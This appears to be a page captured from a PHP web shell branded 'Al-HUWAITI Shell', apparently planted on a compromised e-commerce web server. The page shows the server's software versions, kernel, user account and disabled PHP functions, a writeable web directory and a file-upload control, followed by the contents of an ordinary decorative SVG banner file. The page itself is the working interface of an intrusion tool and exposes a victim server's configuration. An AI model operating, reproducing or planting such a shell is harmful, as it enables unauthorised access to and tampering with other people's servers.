Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/ecommerce/public/frontend/svg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/ecommerce/public/frontend/svg/banner-bg.svg
<svg width="1440" height="868" viewBox="0 0 1440 868" fill="none" xmlns="http://www.w3.org/2000/svg">
<g opacity="0.1">
<path d="M2 44.7467C2 44.7467 12.8015 36.002 15.9019 21.7512C19.0024 7.50049 30.504 -2 30.504 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 83.6124C2 83.6124 39.0052 71.3049 48.8065 40.3204C58.2078 10.1995 96.2131 -2 96.2131 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 122.478C2 122.478 65.2088 106.608 81.6111 58.9975C97.4133 13.1144 161.922 -2 161.922 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 161.452C2 161.452 91.3124 141.911 114.516 77.6746C136.619 15.9214 227.531 -2 227.531 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 200.317C2 200.317 117.516 177.214 147.32 96.3517C175.824 18.8363 293.24 -2 293.24 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 239.183C2 239.183 143.72 212.517 180.225 114.921C215.03 21.7512 358.95 -2 358.95 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 278.157C2 278.157 169.823 247.82 213.029 133.706C254.235 24.5582 424.659 -2 424.659 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 317.022C2 317.022 196.027 283.123 245.934 152.275C293.441 27.4731 490.368 -2 490.368 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 355.888C2 355.888 222.231 318.426 278.838 170.952C332.646 30.388 555.977 -2 555.977 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 394.862C2 394.862 248.334 353.837 311.643 189.629C371.952 33.195 621.686 -2 621.686 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 433.727C2 433.727 274.538 389.032 344.548 208.306C411.157 36.1099 687.395 -2 687.395 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 472.593C2 472.593 300.742 424.335 377.352 226.875C450.362 39.0248 753.104 -2 753.104 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 511.566C2 511.566 326.845 459.746 410.257 245.661C489.568 41.8318 818.714 -2 818.714 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 550.432C2 550.432 353.049 495.049 443.061 264.338C528.773 44.7467 884.423 -2 884.423 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 589.406C2 589.406 379.252 530.352 475.966 283.015C567.979 47.6617 950.132 -2 950.132 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 628.271C2 628.271 405.356 565.654 508.77 301.692C607.184 50.4686 1015.84 -2 1015.84 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 667.137C2 667.137 431.56 600.957 541.675 320.261C646.39 53.3836 1081.55 -2 1081.55 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 706.111C2 706.111 457.763 636.26 574.58 339.046C685.595 56.2985 1147.16 -2 1147.16 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 744.976C2 744.976 483.867 671.563 607.384 357.615C724.801 59.1054 1212.87 -2 1212.87 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 783.842C2 783.842 510.071 706.866 640.289 376.292C764.006 62.0204 1278.58 -2 1278.58 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 822.816C2 822.816 536.274 742.277 673.093 394.969C803.211 64.9353 1344.29 -2 1344.29 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M2 861.681C2 861.681 562.378 777.472 705.998 413.647C842.417 67.7423 1409.9 -2 1409.9 -2" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 819.253C1438 819.253 1427.2 827.998 1424.1 842.249C1421 856.607 1409.5 865.892 1409.5 865.892" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 780.387C1438 780.387 1400.99 792.695 1391.19 823.679C1381.79 853.8 1343.79 866 1343.79 866" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 741.522C1438 741.522 1374.79 757.392 1358.39 805.002C1342.49 850.885 1278.08 866 1278.08 866" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 702.547C1438 702.547 1348.69 722.088 1325.48 786.325C1303.38 847.97 1212.37 865.999 1212.37 865.999" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 663.682C1438 663.682 1322.48 686.785 1292.68 767.647C1264.18 845.163 1146.76 865.999 1146.76 865.999" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 624.709C1438 624.709 1296.28 651.375 1259.77 748.971C1224.87 842.248 1081.05 866 1081.05 866" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 585.843C1438 585.843 1270.18 616.18 1226.97 730.294C1185.76 839.333 1015.44 866 1015.44 866" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 546.977C1438 546.977 1243.97 580.877 1194.07 711.724C1146.46 836.526 949.632 866 949.632 866" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 508.004C1438 508.004 1217.77 545.466 1161.16 692.94C1107.25 833.612 883.923 866 883.923 866" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 469.138C1438 469.138 1191.67 510.163 1128.36 674.371C1068.05 830.697 818.214 866 818.214 866" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 430.273C1438 430.273 1165.46 474.968 1095.45 655.694C1028.84 827.89 752.604 866 752.604 866" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 391.299C1438 391.299 1139.26 439.557 1062.65 637.016C989.637 824.974 686.895 865.999 686.895 865.999" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 352.433C1438 352.433 1113.15 404.254 1029.74 618.339C950.432 822.167 621.186 865.999 621.186 865.999" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 313.567C1438 313.567 1086.95 368.951 996.938 599.662C911.226 819.252 555.477 865.999 555.477 865.999" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 274.594C1438 274.594 1060.75 333.648 964.034 580.985C872.021 816.338 489.868 866 489.868 866" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 235.728C1438 235.728 1034.64 298.345 931.229 562.308C832.816 813.531 424.159 866 424.159 866" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 196.863C1438 196.863 1008.44 263.042 898.325 543.739C793.61 810.616 358.449 866 358.449 866" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 157.888C1438 157.888 982.236 227.739 865.42 524.953C754.405 807.701 292.74 865.999 292.74 865.999" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 119.023C1438 119.023 956.133 192.436 832.615 506.384C715.199 804.894 227.031 865.999 227.031 865.999" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 80.1571C1438 80.1571 929.929 157.133 799.711 487.707C675.994 801.979 161.422 865.999 161.422 865.999" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 41.184C1438 41.184 903.725 121.722 766.906 469.03C636.688 799.064 95.7129 866 95.7129 866" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
<path d="M1438 2.31836C1438 2.31836 877.622 86.5273 734.002 450.353C597.483 796.257 30.0039 866 30.0039 866" stroke="#F0E8C8" stroke-width="4" stroke-miterlimit="10"/>
</g>
</svg>

Al-HUWAITI Shell